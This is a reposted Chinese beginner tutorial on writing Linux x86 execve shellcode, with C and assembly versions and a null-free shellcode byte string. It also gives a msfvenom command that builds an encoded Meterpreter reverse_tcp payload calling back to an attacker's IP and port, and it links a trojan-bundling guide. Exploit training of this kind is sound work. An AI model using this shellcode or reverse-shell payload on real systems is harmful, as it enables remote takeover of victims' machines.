码迷,mamicode.com
首页 > 数据库 > 详细

PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例

时间:2019-02-02 17:22:30      阅读:358      评论:0      收藏:0      [点我收藏+]

标签:启动   bsp   reverse   执行文件   输出   virt   mode   ati   whoami   

一、shellcode编写

下面我将参考其他资料来一步步示范shellcode的几种编写方式

0x01 系统调用

通过系统调用execve函数返回shell

C语言实现:
#include<unistd.h>
#include<stdlib.h>
char *buf [] = {"/bin/sh",NULL};
void main
{
          execve("/bin/sh",buf,0);
          exit(0);
}

 

 

execve函数在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从程序中可以看出,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。

编译运行,获得shell:
elvirangel@elvirangel-virtual-machine:~/DIY$ ./shellcode
$ whoami
elvirangel

示例:

技术图片

 

 

0x02 汇编形式编写shellcode

32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询

技术图片

Int 0x80软中断

int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数

开始编写shellcode

global _start
_start:
mov eax,0;
mov edx,0;
push edx
push "/sh"
push "/bin";
mov ebx,esp;
xor eax,eax
mov al,0Bh;
int 80h

 

 

技术图片

技术图片

可见有很多/x00,shellcode中存在/x00字节在进行利用的时候会被截断,所以我们要避免出现/x00字节,重新修改我们的汇编程序

global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0Bh
int 80ha

 

技术图片

shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

 

 

三、结合metasploit进行shellcode编写

技术图片

可以看到使用msfvenom 自动帮我们生成恶意的shellcode

  • 其中的-a 代表 的是目标的架构 如:x86

  • platform 代表的是一个目标机的平台 如: windows

  • 那么-p 呢 代表的是msf的payload的以及-e 和-b 呢 代表这个 encoder编码器,-b 表示去除硬编码中的0x00代码,因为0x00代表着结束的符号,所以我们不能让他出现0x00这个代码。

  • 最后的 -i 和-f 分别代表的是iterations和format (迭代次数和格式)

那么我们将其代码重新改改,我们比如需要的功能是meterperter、指定ip和端口、指定shellcode 编码格式如:c或者python等代码

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击者IP地址  LPORT=攻击者端口  -e x86/shikata_ga_nai -b ‘\x00‘ -i 迭代次数  -f  c
-p去指定payload为 windows/meterpreter/reverse_tcp
LHOST 和LPORT 指定攻击者ip和端口
-e指定x86/shikata_ga_nai 编码器
-i 指定迭代为如 5次 或10次等
-f 指定输出的格式 如c 代码 、或者python等其他格式的代码
-f参数可以参考msfvenom的帮助参数 查看-f的支持格式

随机附上msf捆绑木马教程:https://www.cnblogs.com/ghost00011011/p/7994396.html

 

PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例

标签:启动   bsp   reverse   执行文件   输出   virt   mode   ati   whoami   

原文地址:https://www.cnblogs.com/pwn2web/p/10348458.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!